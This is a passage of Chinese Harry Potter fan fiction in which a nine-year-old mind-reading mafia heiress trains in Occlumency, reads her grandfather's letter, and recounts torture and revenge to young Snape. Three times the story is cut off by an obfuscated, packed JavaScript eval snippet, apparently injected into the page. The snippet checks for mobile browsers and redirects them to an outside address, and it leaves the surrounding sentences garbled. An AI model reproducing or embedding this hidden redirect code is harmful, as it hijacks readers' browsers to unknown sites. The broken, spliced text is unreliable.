“那是,”弗雷德里克赞同点头,“我就是喜欢她这一点。说到哪了?哦,霍格沃茨的家养小精灵手艺相当不错,当然如果你吃不习惯,可以自己提供食材和食谱让他们给你开小灶。” “比如我,”他指指自己,“我是真的喝不惯南瓜汁,就让我爸爸送了一袋咖啡豆给厨房的那群小精灵,第二天我就喝上了摩卡。” 莉莉小声反驳:“可是我觉得南瓜汁挺好喝的。” 弗雷德里克俏皮地歪头:“当然,我的室友说南瓜汁很好喝。但你可以问问莱奥她喜欢什么,意大利人简直把咖啡当水喝。” 莱奥卡蒂亚抬眼:“不可否认咖啡是我最常喝的,但我欣赏所有的饮品。” 弗雷德里克大惊失色:“这话听起来相当不意大利!我认识的意大利朋友都恨不得用咖啡洗澡!” 莉莉偷偷笑了起来,斯内普也轻咳一声,努力压下自己的笑意。 “我有咖啡味的浴盐。”莱奥卡蒂亚喝了一勺奶油蘑菇汤,“但仅仅是通过一个人的出身推测她的喜好是相当刻板和傲慢的行为。” 这句话听不出多少情绪,弗雷德里克就当做什么都没听出来,饶有兴致地继续介绍:“这话说得不错,就像我是格兰芬多学院的,但我在赫奇帕奇和拉文克劳都有朋友。” 斯内普:“你没有斯莱特林的朋友吗?我母亲是斯莱特林的,她说斯莱特林是最好的学院。” “没有,格兰芬多和斯莱特林是老对头,”弗雷德里克正义凛然地挺起胸膛,“作为一个相当公平公正的大人,我不会故意抹黑任何学院,但我就是对斯莱特林喜欢不起来。他们讲究纯血统,看不起混血和麻瓜种的小巫师,我的朋友被他们欺负过。” 而且,现在还有个天天在英国魔法界找存在感不稳定的因素,他就更不喜欢那群蛇崽子了。弗雷德里克隐蔽地瞥了一眼一言不发的莱奥卡蒂亚。 莉莉皱起鼻子:“欺负别人是不好的。” “放心吧,他们也不会太过分,毕竟有教授们看着呢。” 接下来弗雷德里克没再说过这个话题,气氛恢复成一开始的欢快。 晚餐随着甜品时间的结束而结束,弗雷德里克先行离座,说自己还没收拾好房间。 莱奥卡蒂亚颔首,表示自己知道。她跟着站起来,玛利亚拖开她的凳子,她看了一眼时间:“已经不早了,我送你们回去。玛利亚,请拿一条披风给我。” 玛利亚还没有把自己摆在管家的位置上,闻言只是露出了几分不赞同,但还是选择听从莱奥卡蒂亚的话,为她拿来了披风。 莱奥卡蒂亚又在考虑要不要联系祖父,让他尽快送一位信得过的管家来。 带玛利亚来只是因为她的恳求,然而观察下来,她并不能胜任管家这一职务。 “不用那么客气啦,我家就在隔壁,西弗也能自己回去。”莉莉握着莱奥卡蒂亚的手,有些担忧,“莱奥,你身体是不是不好,你的手好凉呀。” “我受过伤。”莱奥卡蒂亚简洁地回复她,“把客人送至门口是必要的。” 莉莉没再勉强。 在从餐厅到玄关的短短一段路上,莱奥卡蒂亚敲定了下次见面的时间。 “弗雷德里克先生不会每天给我上课,他在英国也有自己的事要做。”莱奥卡蒂亚解释,“所以你们可以每个周末都来我家,在这里你们做什么都行。” “那真是太好了。”莉莉学着电视里和莱奥卡蒂亚贴面礼,莱奥卡蒂亚没有扫小姑娘的兴致,和她贴了三下。 斯内普在一旁看着,嫉妒地直冒泡。 莱奥卡蒂亚先目送着莉莉回家,才转向斯内普。 斯内普防备地退后一步:“我是不会和你贴面礼的。” 莱奥卡蒂亚:“我已经举起手来了。” 斯内普苍白的脸上浮起一抹淡淡的红,随后镇定地伸手,和莱奥卡蒂亚的手交握,并知道为什么莉莉那么担忧—— 莱奥卡蒂亚的手像冰一样。 “你,”他皱眉,“你真的不要紧吗?” “如果从出生起你的脑子里就充斥着别人的记忆和想法,再经历几次刺杀和绑架,你也会和我一样。” 对着斯内普,莱奥卡蒂亚反而能撕下脸上的端庄平和,露出一种似笑非笑的表情。 毕竟他见过她最狼狈的样子。 斯内普抿着嘴唇:“那次……你流了很多血。”他现在还能回想起来那条被血染红的白裙子。 “嗯,我在急救室里输光了血库里的血。”莱奥卡蒂亚淡然点头,“失血过多的后遗症直到今天都没能好。” “那当时你还多管闲事的救我?”斯内普的情绪一变,又竖起了那些刺。 “我只是需要一个人带我去警局,而那些霸凌你的人显然不是好的人选。” “你就那么肯定我是好人?” “能跟莉莉做朋友的都不是坏人。”莱奥卡蒂亚若有所思,“她对谁都这么好吗?” 斯内普扬起头:“那当然,莉莉就是最好的。” 莱奥卡蒂亚不自觉地轻笑:“你们感情真好。对了,你说你母亲擅长做魔药?” “对。”斯内普敏锐地察觉到她的意图,“你想让她给你看病?” 看在她救过他一次的份上,他可以去问问。但艾琳不一定会答应。 “只是有这么个想法。”莱奥卡蒂亚不置可否,“好了,你该回去了。” 斯内普再次穿过花园,花香幽静,簇拥着他离开萨卢佐家。 当他走到莉莉家门口时,忍不住回头望了那幢新房子一眼。 … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299272|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …补血药剂应该有用吧? 似乎也不难做。 他在心里嘀咕着。 莱奥卡蒂亚并不知道自己让人心绪不宁,她来到客房前,轻轻敲响弗雷德里克的房门。 门“咿呀”一声打开了,伴随着弗雷德里克提高音量的招呼:“进来吧。” 莱奥卡蒂亚紧了紧身上的披风,走进这扇门。 弗雷德里克坐在书桌前,手上拿着一根羽毛笔奋笔疾书:“你先坐,等我把这些写完……” 莱奥卡蒂亚就坐在咖啡桌旁的圆凳上:“看来您的工作非常繁忙。” “嗯哼~”弗雷德里克发出他甜腻的招牌鼻音,“毕竟我打着三份工嘛。费德丽卡有没有让你给我带信?” 莱奥卡蒂亚摇头:“母亲只让你根据阿不思·邓布利多先生的指示行动。以及母亲让你按照她给你的单据训练我。” “老校长的话肯定是要听的。”弗雷德里克划下最后一个句点,伸了个懒腰,“不过你可真厉害,天生的摄魂取念者还能隐藏九年才告诉家人。” “这并不需要多少技巧,因为我的家人都很爱我。” 他伸手一招,从手提箱里飞出一封信:“这封信我还没看过呢……大脑封闭术、摄魂取念——这是要加强吗?还有古代魔文、炼金术、高级魔咒、高级魔药、黑魔法、人体变形术、阿尼马格斯……” “她这是要训练出一个高级傲罗吗?”弗雷德里克还是今年第一次皱眉,“你才九岁吧?” 莱奥卡蒂亚双手交叠放在腿上:“实际上我在家里的训练更残酷。” 弗雷德里克继续看下去:“‘……周一到周五晚上九点到十点进行巫师训练,早上莱奥有其他课程,周末可以适当加强训练,但一定要给她休息的时间’……好吧,这么看你妈妈还是很关心你的。” “确实如此。” “我能问问你的麻瓜训练包括什么吗?” 莱奥卡蒂亚的回答是把手缩回披风里,五秒内从各个暗袋里拿出零件,拼成一把勃.朗宁1906 6.35mm半自动,瞄准弗雷德里克的眉心。 谍报人员使用的经典款,隐蔽、好拼装,后坐力小,即使是九岁小孩也能单手持枪。 弗雷德里克:…… 莱奥卡蒂亚的气势变了。 那些贵族女孩的温和褪了个干净,只剩下狼一样的、只属于猎食者的专注和冷酷。 弗雷德里克压下颤栗,犹豫地问:“它不会走火吧?虽然我盔甲护身用得还挺好的……” “请您放心,这把.枪的杀伤力并不高,只是用来防身的,子弹也是橡胶的。”莱奥卡蒂亚又在他眼皮子底下把小巧的金属造物拆成零件,装回暗袋里。 弗雷德里克轻咳:“Well,好吧。就按你妈妈制定的课表来吧,今天……” “现在我们就可以开始教学了。”莱奥卡蒂亚脱下披风,将它搭在咖啡桌上,“母亲希望我先练习大脑封闭术,这个没有魔杖应该也能练习。” “……好的吧。” 弗雷德里克觉得这姑娘简直不像个正常小孩儿。 5. 5 爆炸的汽车,火光,尖叫的人群; 被绑住四肢堵住嘴关在汽车后备箱里的窒息感; 树上伸来的一只手—— 砰! 弗雷德里克的意识被记忆的主人狠狠弹了出去。 他捂着头,看向莱奥卡蒂亚。 女孩的金发湿哒哒地黏在脸上,轻微喘着气,眼睛却在发光。 “原来平时我看别人记忆时他们是这种感觉……”莱奥卡蒂亚吐出长长的一口气。 “你大脑封闭术学得很快,再熟练几次应该就能抵御大部分的摄魂取念了。” 这才是第三次摄魂取念,莱奥卡蒂亚就基本掌握了回击的办法。 接下来可以练习如何构建屏障了。 弗雷德里克缓过劲来,向她一笑,“你的摄魂取念是天生的,而且似乎你能很好的控制翻看记忆的力度,所以刚才你看我记忆的时候我并没有感觉到太多被翻动的感觉。” 一般巫师使用摄魂取念时,魔力的侵入会使目标的情绪波动,唤醒相关的情感和记忆,那种感觉很不好,至少弗雷德里克不喜欢。 但莱奥卡蒂亚的魔力就像一缕紫色的空气,悄无声息,还没等他反应过来,她就已经报出他让她看的内容了。 “是的,我在刑.讯实践和判断身边人来历的时候会用上这个能力,所以算是熟能生巧。” 莱奥卡蒂亚无视弗雷德里克从呆滞转变为震惊的表情,出于对母亲的信任,还是如实提出问题:“不仅如此,我还能闻到情绪的味道,以及听到别人的心声。其他摄魂取念者也能做到吗?” 弗雷德里克抓抓脑袋:“我想不能。平时我用摄魂取念也闻不到情绪的味道,至于听心声……我可以帮你问问邓布利多校长。” 莱奥卡蒂亚:“他很厉害?” “那当然,他可是百年来最强大的白巫师!”弗雷德里克摇头晃脑,“当然,我上学的时候就和他关系不错。他也经常夸赞你妈妈。” 莱奥卡蒂亚垂下头,轻轻“嗯”了一声。 “听心声暂且不提——这个简直超级可怕——能描述一下你闻到的情绪味道吗?比如,开心是什么味道的?”弗雷德里克相当有研究精神,拿出纸笔记下莱奥卡蒂亚的话。 “正向的情绪大多是能让我心情好的味道,比如快乐是蜂蜜的甜、关心是热可可的温暖、勇敢是坚果糖的酥脆、喜爱是葡萄酒的淳化过程。” “负面情绪则是苦、涩、酸、辣,或者混合物的发酵味。” 莱奥卡蒂亚尽量用别人能听懂的语言描述。 “一个月前祖父带我处决了背叛的家族成员,他临死前的情绪就是……垃圾堆的味道,对死亡的不甘与恐惧、对背叛的后悔、对被抓住的不敢置信和疯狂……” 莱奥卡蒂亚每说一个字,脸色就苍白一分,像是回忆起了那样的异味。 弗雷德里克从口袋里掏出一粒柠檬雪宝放在她的手心里:“好了,放轻松,不要再去想了,来,吃颗糖。” 莱奥卡蒂亚把糖放进嘴里,酸甜的滋味让她缓和了下来。 弗雷德里克上下打量她一会儿:“所以你的嗅觉和味觉还好吗?” “比起脑子里的杂音来,还在忍受的范围内。”莱奥卡蒂亚含着糖,脸颊鼓起来小小的一块,“以前我也会通过避开别人的眼睛和冥想让思绪停滞、大脑空白以减轻摄魂取念的影响。但对方心声太大的话,这个方法就会没用。” 弗雷德里克用羽毛笔摩挲着下巴:“这是个急需解决的问题。明天我就写信帮你问问邓布利多校长。可能会没办法用魔咒来缓解,所以你妈妈推荐你自己也学习炼金术,用炼金产品来阻隔这些声音。” 莱奥卡蒂亚认真点头,表示自己会努力学习的。 弗雷德里克看了眼手表:“已经十二点了,你赶紧回去休息,明天不是还要上课吗?” 莱奥卡蒂亚就站起来和他告别。 等她关上门,弗雷德里克才瘫在椅子上。 “呼……真是可怕的变异天赋。”他嘟哝着,“明天再跟邓布利多讲吧,今天真是累死我了。” * 弗雷德里克很好骗。 他都没看出她刚刚是在假装难受。 莱奥卡蒂亚这样想着,优雅而缓慢地走上二楼。 穿过会客厅,路过私人书房,推开华丽的雕花大门,后面才是卧室。 整个二楼都是她的房间。 房间比莉莉上次来的时候整洁了许多,地板上堆叠的箱子全部消失,取而代之的是一层厚厚的地毯,和存放各种物品的巨大柜子。 莱奥卡蒂亚坐到特制的书桌前,在雕花的桌腿上摸到一个小小的凸起,用力按下去,桌面下就弹出一个小抽屉。 莱奥卡蒂亚拿出里面的东西。 那是一枚印章戒指。 上面刻的是萨卢佐家族的徽记。 交叉的迅捷剑下,蛛网是永恒的背景,咆哮的狼首屹立于中央,一圈形态各异、但首尾相连的蛇围绕四周,连起来正是花体的SALUZZO。 莱奥卡蒂亚摩挲一会儿那块徽记,将戒指套在大拇指上。 她不在的时候,书桌一角的传真机吐了一堆印满文字的纸张出来。 这是莱奥卡蒂亚的日常。 她一张张地翻看,急需解决地内容会在文件开头单独用一行来简述,她把这部分挑出来放在一边。 在回复了不那么紧急的文件后,莱奥卡蒂亚才拿起薄薄的一叠。 只有一份,是来自祖父的私人文件。 开头是信件的格式,简单的问好和近况叙述,下面才是正事。 祖父将萨卢佐家族在伦敦的两家公司、一家银行交给她,让她全权负责。 审讯学的老师表示没有什么好教她的了,祖父允许了他的请辞,所以莱奥卡蒂亚的课表可以减少一项。 此外,祖父动用人脉了解了一些英国巫师界的情况,包括但不限于巫师的教育、政治结构、现状等等,并将这些内容详细地整理成文件,由于保密性问题,他会让人从意大利直接送过来。 本来她想从巫师的报纸和弗雷德里克那里获取情报的……算了,谢谢祖父,隔着大海向你飞吻。 几份祖父在英国的私产转让,再次飞吻感谢。 莱奥卡蒂亚又翻过一页。 “…… 英国并不算平静,但也比几十年来的欧洲好。我相信我的孙女有保全自身的能力,如果你想做什么,作为你的祖父,我会全力支持你。 当然,如果实在不想待下去,还有法国、德国和美国的巫师学校,这三个地方都有萨卢佐的痕迹。 玛利亚说,你们所在的这处房产附近有两位小巫师?其中一位还是和你同龄的女孩?这真是好事,我希望你能带朋友们到佛罗伦萨来玩一玩,带他们骑马、玩耍,向我正式介绍他们——我很期待,这是家里九年来都不曾看到的景象。 菲奥娜叨叨着要去英国陪你,似乎我这个老头子已经没有孙女重要了。如果你愿意让菲奥娜过去就在回信里告诉我。当然,我个人是不情愿的。” 看到这里,莱奥卡蒂亚发自真心地笑了一声。 怎么在英国都能看见祖父祖母秀恩爱? 她继续看下去,笑容很快隐没。 “过去这几天我其实在反思,让你过早接触家族最黑暗的一面是不是不太好。 如果我只是单纯作为你的祖父,我当然想让你和其他女孩一样,把你娇纵成掌心里的公主。但是作为家主,我不愿意在我百年后让一无所知的你被蒙骗、被当做傀儡。 幸好,我的‘光明’没让我失望。 莱奥,有些话当面是说不出来的,但我非常想让你知道,我为你骄傲,也为你心疼。每次摸到你掌心和虎口的茧子,我都恨不得你的祖母好好骂一骂我,并勒令我停止对你的训练。或者你冲我撒一撒娇,我会立刻把那些该死的东西扔掉。 但她没有阻止,哪怕为此垂泪:但你坚持了下来,哪怕它们对你来说确实太过残忍。 我一开始还不明白,但那一天费德丽卡告诉了我你的情况——看得出来她也为自己的失职而难过——我不敢相信你从小就忍受着世间连大人都无法接受的黑暗,而我——和你妈妈,我们对此一无所知。 我和费德丽卡很伤心,因为你并不相信我们。 请你依靠我们吧,孩子。 愧疚的,爱你的, 莱奥纳多” 莱奥卡蒂亚凝视倒数第二行许久,才将这封应该称作家信的文件折好,收进放印章的夹层里。 难怪离开意大利那天,祖父抱着她欲言又止。 她很快收拾好心态,开始处理需要她过目的文件。 公司的股权转让书,签名,盖章; 伦敦一处房产的产权变更,签名,盖章——格里莫广场?好吧,我应该不会去住,那边没有莉莉。 一些不重要的邀请函,让玛利亚回复吧。 等处理完这些,时钟的两根指针已经在“十二”上重叠了。 莱奥卡蒂亚轻轻叹气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299273|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她又想起了祖父的信。 她……她不希望祖父祖母和母亲为她的选择愧疚。 至于朋友……西弗勒斯暂且不提,莉莉确实是很好的女孩,希望她们的友谊可以如祖父和他的朋友们一样长存。 来英国只是因为母亲是从霍格沃茨走出去的,母亲最信任的老师——阿不思·邓布利多也在这里。 另一个原因是为了替Mentor(导师)看看那个宣称继承了斯莱特林和格林德沃意志的巫师,这口气狂妄到导师都忍不住冷笑。 那人叫什么来着? 哦。 好像是汤姆·里德尔。 现在自称“伏地魔”。 飞跃死亡……可真敢说。 她交叠在腿上的手指轻动,陷入思考。 导师似乎并没有出面阻止的意思,偶尔看《预言家日报》时还会和她分析英国的形式,再让她以此为题写写她自己的看法。 分析起来也很简单。 推崇纯血论和巫师至上论——厌恶人类、或者说麻瓜,这一点和导……格林德沃相似但略有不同; 吃到了时代的红利——格林德沃这个名字消失,大批欧洲各国的黑巫师需要一个新的领头人; 在霍格沃茨就读时进入斯莱特林学院——那里的学生大多出自“纯血”家族,与麻瓜或混血家庭出身的巫师天然对立。血统观念、资源分配、老派与新锐,对巫师里也有阶级对立毫不惊讶; 据说是霍格沃茨创始人之一的斯莱特林的后裔——绝佳的加分项,老师说斯莱特林也是个支持巫师至上论的; 野心勃勃但明显不得章法,个人私.欲重于团体利益,手段逐渐偏激——也许是被什么刺激到了,也许是作恶太多疯了,看起来心性非常有问题,比格林德沃差远了。 哪怕是在思考,莱奥卡蒂亚也没有放松身体的肌肉。 反而随着思考越来越深入,浑身的肌肉也越来越用力,直到时针再次到了下一个目标点,齿轮发出一声轻响,她才被惊醒,陡然放松。 也不知道导师让她来霍格沃茨读书到底是什么意思。 莱奥卡蒂亚起身,走向盥洗室。 她敢肯定现在的霍格沃茨肯定不是什么平静的伊甸园,随着伏地魔在英国势力的壮大,这片小小的岛国堪称“山雨欲来风满楼”,非常不适合青少年的成长。 希望那位邓布利多真的如母亲所言,是一位值得尊重的人。 * …… 爆炸的汽车,火光,尖叫的人群; 被绑住四肢堵住嘴关在汽车后备箱里的窒息感; 树上伸来的一只手—— 停下。 * …… ‘新搬来的那户人家……’ ‘唉,明天早上不想吃……’ ‘早起……’ ‘又裁员了……’ 闭嘴,别吵了。 厌恶厌恶厌恶—— 烦恼烦恼烦恼—— 悲伤悲伤悲伤—— 愤怒愤怒愤怒—— …… 莱奥卡蒂亚猛地坐起来,冲进盥洗室里,跪倒在马桶前,将晚上吃的东西全部吐了出来。 夏季的轻薄睡裙下,她的肩胛骨高高耸立,支棱起狰狞的阴影。 瘫软了好一会儿,她的腿脚才重新有了力气。 撑着地面站起来的动作让莱奥卡蒂亚眼前一阵阵发黑,那些嘈杂的话语、复杂恶臭的味道如蚀骨之蛆一样攀附在她的脑海里,一点点啃噬她的理智。 她赤着双脚一步步踩在被魔力压出蜘蛛网般裂痕的瓷砖上,等眼前的黑斑散去一些,她才发现血色的脚印从马桶印到洗手池。 胃里翻腾起浓郁的血腥味,鼻腔里流下鲜艳的红,滴答,滴答,被暴起青筋的手背抹去。 莱奥卡蒂亚闭着眼睛,死死抓着洗手台的边缘,在白瓷上留下了深深的手印。 直到天光微亮,她才睁开眼睛。 莱奥卡蒂亚缓缓抬头,对上镜子里的双眼,里面毫无情绪。 ……好恶心。 她环视一圈遍地狼藉的盥洗室,轻声念出两个单词。 “Episkey(愈合如初)” 脚上的伤口飞快愈合,只留下轻微的疤痕。 “Reparo(修复如初)” 洗手台上的裂痕和碎裂掉渣的地板如时光倒流一般,恢复原状。 等做完这一切,莱奥卡蒂亚才拿起水杯漱口。 啊,嗓子疼…… 6. 6 莱奥卡蒂亚盘腿坐在花圃里,用祖父教的“打坐”和“吐纳”开启新的一天。 莱奥卡蒂亚从小身体就不算健康,两年前的那件事更是让她一度在医院里安家,今年才稍微好一点。 但萨卢佐家族的现任家主莱奥纳多·萨卢佐是位传奇人物。 就连莱奥卡蒂亚的祖母都不敢保证百分百了解莱奥纳多的经历,所以莱奥卡蒂亚对于祖父精通道家的养生方法并不惊讶,且抱有十分的信服。 如果连祖父和母亲都不能相信,莱奥卡蒂亚不知道自己还能信任谁。 起码每天坚持喝热水后,她的身体真的好了不少。 空气中带着凉意的花香,随着规律的呼吸,莱奥卡蒂亚的胸腔完全浸润在草木气息的循环之中。 榛子和橡果趴在她的两侧,是微冷晨雾中唯二的热源。 她在脑海中一点一点地搭建着一堵墙。 以那些黑暗的记忆为钢板,用痛苦焊接,每一个试图进来的人都会被钢板上的虚幻火焰灼烧。 她找到了一些可以用意识杀.人的诀窍。 在太阳完全从地平线上升起时,她吐出最后一口带着血腥味的气流,睁开眼睛,和站在栅栏外的斯内普对上视线。 “你不去上学吗?”莱奥卡蒂亚自然地朝他招手,“进来吧。” 斯内普的手从栅栏缝隙间伸进来,拉开门闩,步伐不算快,但莱奥卡蒂亚坐着的花圃里栅栏本来就很近,所以没几步他就站在了她的面前。 “你们家为什么不用铁艺门?这种木头栅栏不高,很容易进来。” 斯内普居高临下俯视着莱奥卡蒂亚,却没有回答她的问题。 莱奥卡蒂亚抬起手,斯内普愣了一下,回过神,抓住这只冰凉的手,把她拉起来。 莱奥卡蒂亚也没有看他嘴角和眉骨旁的青肿。 “因为除了这条小径,所有靠近街道的花圃里都埋了捕.兽.夹和触发式……防贼装置。”莱奥卡蒂亚说得委婉。 斯内普像是想扯动嘴角露出一个惯常的冷笑,但因为扯动了那块碍眼的淤青,疼痛让这个动作急急停下,也让他的表情十分古怪。 莱奥卡蒂亚捡起挂在花枝上的斗篷,反手披上:“我假设今天早上也许能有一位活人陪我享用早餐?” 斯内普语调轻柔:“我也假设我算是不请自来,一位典雅高贵的大小姐大可以直接把一位不受欢迎的、莫名其妙的怪胎打发走。” 莱奥卡蒂亚不觉得这人大清早来找她是种莫名其妙的事,更不在意他的夹枪带棒:“我想,一个随身携带不亚于三种武器的外国籍女孩在这片街区更像个怪胎,而且这个怪胎女孩还会读心,是怪胎中的怪胎。” 莱奥卡蒂亚扫视周围的房子:“我总有一天要把他们的想法打印出来塞进他们的嘴里,再用洁厕剂给他们洗洗嘴。” 斯内普的心情突然好了一点。 应该是因为莱奥卡蒂亚的这个“他们”中不包含他,而他巴不得看这些人的热闹。 他从口袋里拿出一个没有标签的长颈玻璃瓶子递过来,里面是亮蓝色的液体,有些许亮闪闪的银白闪粉在里面起伏。 莱奥卡蒂亚伸手接下,挺感兴趣地凑到眼前:“这是什么魔药?” 斯内普:“补血剂。这瓶是我做的,要是不放心可以给斯潘塞检查。” 莱奥卡蒂亚的回答是拔开橡木塞子一饮而尽:“嗯……味道还可以。” 斯内普斜着眼看她:“你就不怕这是毒药?” 莱奥卡蒂亚把玩着木头塞子,似笑非笑地看他:“我想你还没有那个胆量。” 斯内普冷哼。 他们并肩走在这条花中小径上,狗子们一左一右走在最两侧,却不跟着他们上了门口的台阶,而是向房子背后走去。 “犬舍在后面,一般他们也不会进房子,除非我给他们指令。”莱奥卡蒂亚对着面露不舍的斯内普解释。 斯内普收回眼神,硬邦邦地丢下一句:“看来你也不是很喜欢狗,都不肯让他们踏入你的领地。” 莱奥卡蒂亚再次忽略他话语里的尖刺:“只是因为它们现在掉毛掉得厉害,只让玛利亚一个人打扫这么大一栋房子里的狗毛有点不合适。” 斯内普没再说什么。 听见说话声过来开门的玛利亚表情有些奇怪。 莱奥卡蒂亚在她给斯内普拿拖鞋的时候轻飘飘地看她一眼。 玛利亚瞬间低下头,把所有心思压下去,保持着和蔼亲切的微笑把斯内普的旧皮鞋收起来,眼神也不落在他起球褪色的袜子上。 这样的眼神交流只在一瞬间,斯内普并没有察觉,还自认为拖到地面的裤脚能遮掩住他的袜子。 莱奥卡蒂亚也穿上自己的拖鞋,径直走向餐桌,没有坐主位,而是直接坐在直线距离最近的桌尾:“你对早餐有什么特殊喜好吗?” 斯内普有点犹豫自己坐哪比较合适,说得心不在焉:“没什么喜好。” 莱奥卡蒂亚点头,伸手把他扯到旁边坐下:“那就跟我吃一样的吧。不过没有红茶,只有咖啡。” 斯内普被她拽得一个踉跄,再一看莱奥卡蒂亚和自己的位置,哪怕是他也忍不住嘴角抽搐——有点疼,但表达心情更重要:“如果我的记忆没有混乱,你是主人,你才应该坐在长桌两端,而我则坐你现在的位置。” 莱奥卡蒂亚敷衍地点头,右脚踢掉鞋子,踩在凳面上:“啊,对,没错,理应如此,但我又不在乎,你也别在乎了。” 斯内普突然觉得她其实不是贵族,而是街头的二流子。 “我也是会叛逆的,特别是在心情不好的时候,”莱奥卡蒂亚微微一笑,“而且我们算是生死之交吧?我希望你也别介意,介意的话可以把眼睛闭上。” 斯内普转假笑:“我有什么好介意的,这里当然是你的主场,你说了算。” 莱奥卡蒂亚又把左脚踩上凳子,相当不淑女地靠在椅背上,对着虚空中的某一处发呆。 斯内普现在才注意到她眼下有一层浓浓的青黑色,脸色也比昨天还要苍白。 浓丽的红色斗篷如裹尸布一样紧紧缠绕在她肩上,不仅没带来暖意,还让她看起来好像命不久矣一样。 厨房里传来玛利亚准备早餐的声音,香气能勾起所有空肚子里的馋虫,但餐桌上蔓延着古怪的寂静。 最先忍不住的是斯内普:“你就不问我,为什么一大早上就过来?” 莱奥卡蒂亚收起一点发散的思绪,从斗篷下抽出手,指指自己的眼睛:“我看得见。我也讨厌学校,我只去过半天。” 她在萨卢佐家的私立学校里挂着学籍,但本人接受的是精英(特殊)家教,她也没觉得有什么不好,起码脑子能安静一会儿。 斯内普抿着唇,不自然地低下头:“你,你都看见了?” 莱奥卡蒂亚轻轻哼笑:“你要是在意的话也没办法,我两年前就看见了。如果现在你需要反校园霸凌和反家暴的协助,我可以帮你。” 闻言,斯内普慢吞吞地抬头看她一眼:“比如让你的保镖把半条蜘蛛尾巷里的小孩和托比亚揍一顿?” “啊,我现在没有保镖。”莱奥卡蒂亚的指尖绕着脸侧的头发,“而且你想多了,我现在急需一个或者一些发泄情绪的对象,放弃这么好的沙袋们有点似乎有点说不过去。” 斯内普直视她的眼睛,意识到她没在开玩笑。 “……喂,”斯内普身子往前探了探,“你不会是认真的吧?” 莱奥卡蒂亚没有正面回答他,而是撑着下巴放空眼神回忆:“我接手过这样一个人。他表面上是一位热心肠的好人,妻子美丽动人,孩子们可爱听话,工作体面清闲,称得上家庭美满而幸福……” “但,”莱奥卡蒂亚突然古怪地笑起来,“你知道他私底下做什么生意吗?” 斯内普不想猜,也不敢猜。 他觉得莱奥卡蒂亚今天怪怪的,像是受了什么刺激一样。 但明明昨天他离开的时候这人还挺正常的。 ……难不成是那个斯潘塞惹她了? “萨卢佐家族绝对禁止的生意有两条,一个是非法的皮.肉生意,一个是,粉末。”莱奥卡蒂亚微笑着,说着令人毛骨悚然的话。 “不幸的是,他两个都沾了,他的妻子和孩子都是货品,还有地下室里如动物般的八个孩子,年龄都在十岁以下,被拐卖的,被别人遗弃的,而那人用这些孩子讨好那些有特殊癖.好的人,一步步走到不错的位置。” “他是教育系统里一位略有实权的中下等人物,上行下效,他管理的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299274|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那所学校堪称人间炼狱……啊,幸好后来由萨卢佐家的人接管了,不然那些报社会像苍蝇一样叮上来骚扰那些重新适应校园生活的孩子们。” 斯内普咬着牙:“你跟我说这些做什么?让我庆幸托比亚没有这样对妈妈和我?还是说学校里那些欺负我的人不值一提?” “不,当然不,耐心点,听我说完。”莱奥卡蒂亚轻轻摇头,“在我把那人嘴里的东西掏干净后,我把他的妻子和那几个孩子,还有几个学校里的孩子带到他面前——” 斯内普简直能在脑海中还原那个场景: 昏暗的地牢里,莱奥卡蒂亚挂着不符合她年龄的微笑,地上瘫着不成人形的血人,瘦弱不堪的孩子们鸡崽子似的瑟缩地挤在一起,被沉默又遍体鳞伤的女人护在身后。 “然后我给了她们武器。” 玛利亚沉默着端上热气腾腾的培根煎蛋,黑胡椒淋在吱吱冒油的烤牛肉上,松软的吐司切片堆叠成一座小山,炼乳、果酱、蜂蜜被装在三个圆鼓鼓的罐子里,散发着各具特色的香甜。 莱奥卡蒂亚拿起一片吐司,果酱刀挑起一点炼乳涂匀,又刮了一块果酱涂在另一片吐司上。 “好吧,其实说是武器也不太合适。那天我在地牢里度过了一个晚上,早餐是在地牢里吃的,所以‘武器’就是这样的果酱刀、餐叉,最锋利的是一把切肉的餐刀。” “但结果令我失望,她们放弃了复仇,选择用法律来制裁那个人,说他会下地狱。真可惜。” 软弱且没有效率,相信法律能公正的惩罚一切罪恶,相信死后有神明来审判来生。 当时的莱奥卡蒂亚觉得相当无趣。 她的手上沾满了血腥,天赋让她能直接触碰到人心里所有的阴暗面。 但她绝对不是用天秤称量羽毛和心脏重量的真理女神马特,她是报出真相和散播恐惧的赛特,是用语言和刑罚击溃罪恶灵魂的阿努比斯,是让刑讯组臣服又害怕的“萨卢佐小姐”。 莱奥卡蒂亚用唱歌般的语调赞赏着手中这把只是用来涂抹果酱的工具:“其实只要控制好角度和力度,果酱刀也能杀人。” 她向斯内普摊开洁白的掌心,露出深深的掌纹和特殊的茧:“如果我教你技巧,你会有用上的那一天吗?” 你会做出什么选择呢? 斯内普看着那把小巧的东西,却忽然冷静下来。 